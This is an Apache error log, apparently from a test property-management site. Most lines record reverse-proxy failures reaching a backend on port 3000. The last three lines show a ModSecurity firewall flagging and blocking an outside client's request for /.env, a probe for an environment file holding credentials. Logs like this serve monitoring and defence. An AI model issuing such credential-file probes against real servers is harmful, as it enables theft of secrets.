[Wed Nov 06 16:07:39.787784 2024] [proxy_http:error] [pid 3138304] (20014)Internal error (specific information not available): [client 80.117.116.250:63182] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.788113 2024] [proxy_http:error] [pid 3139589] (20014)Internal error (specific information not available): [client 80.117.116.250:63096] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.788388 2024] [proxy_http:error] [pid 3138307] (20014)Internal error (specific information not available): [client 80.117.116.250:63051] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.792960 2024] [proxy_http:error] [pid 3139661] (20014)Internal error (specific information not available): [client 80.117.116.250:63180] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.794265 2024] [proxy_http:error] [pid 3134960] (20014)Internal error (specific information not available): [client 80.117.116.250:63178] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.794884 2024] [proxy_http:error] [pid 3136059] (20014)Internal error (specific information not available): [client 80.117.116.250:63056] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.795527 2024] [proxy_http:error] [pid 3139459] (20014)Internal error (specific information not available): [client 80.117.116.250:63057] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.795542 2024] [proxy:error] [pid 3139459] [client 80.117.116.250:63057] AH00898: Error reading from remote server returned by /rest/attribute-sets/view_forsttrento/6551e400d753997c0d9d6d65, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.796063 2024] [proxy_http:error] [pid 3139608] (20014)Internal error (specific information not available): [client 80.117.116.250:63095] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.796682 2024] [proxy_http:error] [pid 3136057] (20014)Internal error (specific information not available): [client 80.117.116.250:63054] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.824861 2024] [proxy:error] [pid 3139703] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:07:39.824893 2024] [proxy_http:error] [pid 3139703] [client 80.117.116.250:63184] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.899218 2024] [proxy:error] [pid 3139704] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:07:39.899243 2024] [proxy_http:error] [pid 3139704] [client 80.117.116.250:63197] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.900718 2024] [proxy:error] [pid 3139706] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:07:39.900743 2024] [proxy_http:error] [pid 3139706] [client 80.117.116.250:63199] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.901388 2024] [proxy:error] [pid 3136060] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:07:39.901405 2024] [proxy_http:error] [pid 3136060] [client 80.117.116.250:63198] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.935264 2024] [proxy:error] [pid 3139589] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:07:39.935294 2024] [proxy_http:error] [pid 3139589] [client 80.117.116.250:63202] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:39.974073 2024] [proxy:error] [pid 3138307] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:07:39.974096 2024] [proxy_http:error] [pid 3138307] [client 80.117.116.250:63203] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:40.005597 2024] [proxy:error] [pid 3136059] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:07:40.005621 2024] [proxy_http:error] [pid 3136059] [client 80.117.116.250:63205] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:40.016076 2024] [proxy:error] [pid 3139459] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:07:40.016103 2024] [proxy_http:error] [pid 3139459] [client 80.117.116.250:63204] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:40.039015 2024] [proxy:error] [pid 3139608] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:07:40.039040 2024] [proxy_http:error] [pid 3139608] [client 80.117.116.250:63206] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:40.072062 2024] [proxy:error] [pid 3136057] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:07:40.072089 2024] [proxy_http:error] [pid 3136057] [client 80.117.116.250:63207] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:40.090474 2024] [proxy:error] [pid 3138294] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:07:40.090498 2024] [proxy_http:error] [pid 3138294] [client 80.117.116.250:63208] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:40.918347 2024] [proxy:error] [pid 3139708] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:07:40.918399 2024] [proxy_http:error] [pid 3139708] [client 80.117.116.250:63201] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:40.919171 2024] [proxy:error] [pid 3139707] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:07:40.919209 2024] [proxy_http:error] [pid 3139707] [client 80.117.116.250:63200] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:07:57.463132 2024] [proxy:error] [pid 3136059] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:07:57.463163 2024] [proxy_http:error] [pid 3136059] [client 80.117.116.250:63216] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:08:03.030063 2024] [proxy:error] [pid 3139459] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:08:03.030097 2024] [proxy_http:error] [pid 3139459] [client 80.117.116.250:63219] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:08:03.097758 2024] [proxy:error] [pid 3139702] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:08:03.097787 2024] [proxy_http:error] [pid 3139702] [client 80.117.116.250:63225] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:09:25.576863 2024] [proxy_http:error] [pid 3138294] (20014)Internal error (specific information not available): [client 80.117.116.250:63224] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:09:25.577708 2024] [proxy_http:error] [pid 3139708] (20014)Internal error (specific information not available): [client 80.117.116.250:63236] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:09:25.589616 2024] [proxy_http:error] [pid 3139702] (20014)Internal error (specific information not available): [client 80.117.116.250:63241] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:09:25.589641 2024] [proxy:error] [pid 3139702] [client 80.117.116.250:63241] AH00898: Error reading from remote server returned by /rest/categories/view_autumnus/64e5bfa23c77da0696599767, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:09:25.590440 2024] [proxy_http:error] [pid 3139707] (20014)Internal error (specific information not available): [client 80.117.116.250:63237] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:09:25.591151 2024] [proxy_http:error] [pid 3139661] (20014)Internal error (specific information not available): [client 80.117.116.250:63226] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:09:25.591434 2024] [proxy_http:error] [pid 3136059] (20014)Internal error (specific information not available): [client 80.117.116.250:63239] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:09:25.619838 2024] [proxy:error] [pid 3139702] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:09:25.619867 2024] [proxy_http:error] [pid 3139702] [client 80.117.116.250:63241] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:09:25.681803 2024] [proxy:error] [pid 3139608] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:09:25.681899 2024] [proxy_http:error] [pid 3139608] [client 80.117.116.250:63275] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:09:25.686581 2024] [proxy:error] [pid 3134960] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:09:25.686604 2024] [proxy_http:error] [pid 3134960] [client 80.117.116.250:63278] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:09:25.724481 2024] [proxy:error] [pid 3139459] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:09:25.724507 2024] [proxy_http:error] [pid 3139459] [client 80.117.116.250:63276] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:09:25.732003 2024] [proxy:error] [pid 3139708] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:09:25.732027 2024] [proxy_http:error] [pid 3139708] [client 80.117.116.250:63280] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:09:25.796951 2024] [proxy:error] [pid 3136059] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:09:25.796975 2024] [proxy_http:error] [pid 3136059] [client 80.117.116.250:63282] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:09:25.802880 2024] [proxy:error] [pid 3136057] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:09:25.802898 2024] [proxy_http:error] [pid 3136057] [client 80.117.116.250:63277] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:09:25.811599 2024] [proxy:error] [pid 3139848] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:09:25.811624 2024] [proxy_http:error] [pid 3139848] [client 80.117.116.250:63279] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:09:25.815948 2024] [proxy:error] [pid 3139702] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:09:25.815965 2024] [proxy_http:error] [pid 3139702] [client 80.117.116.250:63281] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:09:25.831480 2024] [proxy:error] [pid 3139608] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:09:25.831499 2024] [proxy_http:error] [pid 3139608] [client 80.117.116.250:63283] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:28:36.099079 2024] [proxy_http:error] [pid 3134960] (20014)Internal error (specific information not available): [client 80.117.116.250:64290] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:28:36.100672 2024] [proxy_http:error] [pid 3139702] (20014)Internal error (specific information not available): [client 80.117.116.250:64284] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:28:36.100688 2024] [proxy_http:error] [pid 3139608] (20014)Internal error (specific information not available): [client 80.117.116.250:64285] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:28:36.311427 2024] [proxy_http:error] [pid 3139708] (20014)Internal error (specific information not available): [client 80.117.116.250:64291] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:28:36.311454 2024] [proxy:error] [pid 3139708] [client 80.117.116.250:64291] AH00898: Error reading from remote server returned by /rest/categories/view_autumnus/64e5bfa23c77da0696599767, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:28:36.311943 2024] [proxy_http:error] [pid 3136059] (20014)Internal error (specific information not available): [client 80.117.116.250:64350] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:28:36.313131 2024] [proxy_http:error] [pid 3139848] (20014)Internal error (specific information not available): [client 80.117.116.250:64349] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:28:36.313162 2024] [proxy:error] [pid 3139848] [client 80.117.116.250:64349] AH00898: Error reading from remote server returned by /rest/channels/channelDetails/partners/64e5bfa23c77da0696599767, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:28:36.314949 2024] [proxy_http:error] [pid 3139661] (20014)Internal error (specific information not available): [client 80.117.116.250:64287] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:28:36.315686 2024] [proxy_http:error] [pid 3139707] (20014)Internal error (specific information not available): [client 80.117.116.250:64286] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:33:28.776740 2024] [proxy_http:error] [pid 3134960] (20014)Internal error (specific information not available): [client 80.117.116.250:64447] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:33:28.777808 2024] [proxy_http:error] [pid 3139608] (20014)Internal error (specific information not available): [client 80.117.116.250:64444] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:33:28.778560 2024] [proxy_http:error] [pid 3140495] (20014)Internal error (specific information not available): [client 80.117.116.250:64443] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:33:28.994421 2024] [proxy_http:error] [pid 3139708] (20014)Internal error (specific information not available): [client 80.117.116.250:64448] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:33:28.995317 2024] [proxy_http:error] [pid 3139707] (20014)Internal error (specific information not available): [client 80.117.116.250:64441] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:33:28.996000 2024] [proxy_http:error] [pid 3139661] (20014)Internal error (specific information not available): [client 80.117.116.250:64442] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:33:28.996637 2024] [proxy_http:error] [pid 3139848] (20014)Internal error (specific information not available): [client 80.117.116.250:64578] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:33:28.996657 2024] [proxy:error] [pid 3139848] [client 80.117.116.250:64578] AH00898: Error reading from remote server returned by /rest/warehouses/channel/64e5bfa23c77da0696599767, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:33:29.710756 2024] [proxy:error] [pid 3139702] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:33:29.710782 2024] [proxy_http:error] [pid 3139702] [client 80.117.116.250:64582] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:33:29.767588 2024] [proxy:error] [pid 3134960] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:33:29.767613 2024] [proxy_http:error] [pid 3134960] [client 80.117.116.250:64585] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:34:31.668036 2024] [proxy_http:error] [pid 3139661] (20014)Internal error (specific information not available): [client 80.117.116.250:64602] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:34:31.668853 2024] [proxy_http:error] [pid 3139707] (20014)Internal error (specific information not available): [client 80.117.116.250:64601] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:34:31.675554 2024] [proxy_http:error] [pid 3140737] (20014)Internal error (specific information not available): [client 80.117.116.250:64608] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:34:31.675587 2024] [proxy:error] [pid 3140737] [client 80.117.116.250:64608] AH00898: Error reading from remote server returned by /rest/categories/view_autumnus/64e5bfa23c77da0696599767, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:34:31.676267 2024] [proxy_http:error] [pid 3134960] (20014)Internal error (specific information not available): [client 80.117.116.250:64605] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:34:31.677235 2024] [proxy_http:error] [pid 3139848] (20014)Internal error (specific information not available): [client 80.117.116.250:64603] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:34:31.677869 2024] [proxy_http:error] [pid 3139608] (20014)Internal error (specific information not available): [client 80.117.116.250:64604] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:34:31.706389 2024] [proxy:error] [pid 3140737] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:34:31.706425 2024] [proxy_http:error] [pid 3140737] [client 80.117.116.250:64608] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:34:31.750802 2024] [proxy:error] [pid 3138294] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:34:31.750875 2024] [proxy_http:error] [pid 3138294] [client 80.117.116.250:64623] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:34:31.755975 2024] [proxy:error] [pid 3139702] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:34:31.756006 2024] [proxy_http:error] [pid 3139702] [client 80.117.116.250:64624] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:34:31.761553 2024] [proxy:error] [pid 3141020] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:34:31.761578 2024] [proxy_http:error] [pid 3141020] [client 80.117.116.250:64626] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:34:31.763214 2024] [proxy:error] [pid 3141013] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:34:31.763238 2024] [proxy_http:error] [pid 3141013] [client 80.117.116.250:64622] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:34:31.772915 2024] [proxy:error] [pid 3141022] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:34:31.772946 2024] [proxy_http:error] [pid 3141022] [client 80.117.116.250:64625] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:34:31.790165 2024] [proxy:error] [pid 3141021] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:34:31.790197 2024] [proxy_http:error] [pid 3141021] [client 80.117.116.250:64627] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:34:31.833491 2024] [proxy:error] [pid 3140495] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:34:31.833525 2024] [proxy_http:error] [pid 3140495] [client 80.117.116.250:64629] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:34:31.833546 2024] [proxy:error] [pid 3140729] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:34:31.833568 2024] [proxy_http:error] [pid 3140729] [client 80.117.116.250:64628] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:36:12.893786 2024] [proxy_http:error] [pid 3140729] (20014)Internal error (specific information not available): [client 80.117.116.250:64653] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:36:12.895794 2024] [proxy_http:error] [pid 3140495] (20014)Internal error (specific information not available): [client 80.117.116.250:64651] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:36:12.895820 2024] [proxy:error] [pid 3140495] [client 80.117.116.250:64651] AH00898: Error reading from remote server returned by /rest/categories/default/62ed13d02477d328814c66ed, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:36:12.896547 2024] [proxy_http:error] [pid 3141020] (20014)Internal error (specific information not available): [client 80.117.116.250:64640] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:36:12.897203 2024] [proxy_http:error] [pid 3139608] (20014)Internal error (specific information not available): [client 80.117.116.250:64633] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:36:12.898112 2024] [proxy_http:error] [pid 3141013] (20014)Internal error (specific information not available): [client 80.117.116.250:64639] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:36:12.898125 2024] [proxy_http:error] [pid 3141022] (20014)Internal error (specific information not available): [client 80.117.116.250:64652] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:36:12.980324 2024] [proxy:error] [pid 3140495] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:36:12.980359 2024] [proxy_http:error] [pid 3140495] [client 80.117.116.250:64651] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:36:13.768896 2024] [proxy:error] [pid 3138294] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:36:13.768922 2024] [proxy_http:error] [pid 3138294] [client 80.117.116.250:64717] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:36:13.832007 2024] [proxy:error] [pid 3141021] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:3000 (127.0.0.1:3000) failed
[Wed Nov 06 16:36:13.832036 2024] [proxy_http:error] [pid 3141021] [client 80.117.116.250:64715] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:38:28.982455 2024] [proxy_http:error] [pid 3136057] (70007)The timeout specified has expired: [client 80.117.116.250:64577] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: https://pms.test.indacotrentino.com/
[Wed Nov 06 16:38:28.982547 2024] [proxy:error] [pid 3136057] [client 80.117.116.250:64577] AH00898: Error reading from remote server returned by /backend, referer: https://pms.test.indacotrentino.com/
[Thu Nov 07 01:26:58.547271 2024] [:error] [pid 3147539] [client 179.43.149.114:45390] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZywJUmz0dDp6pu0IiYxCcQAAAAs&quot;]
[Thu Nov 07 01:26:58.549964 2024] [:error] [pid 3147539] [client 179.43.149.114:45390] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZywJUmz0dDp6pu0IiYxCcQAAAAs&quot;]
[Thu Nov 07 01:26:58.550576 2024] [:error] [pid 3147539] [client 179.43.149.114:45390] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;ZywJUmz0dDp6pu0IiYxCcQAAAAs&quot;]
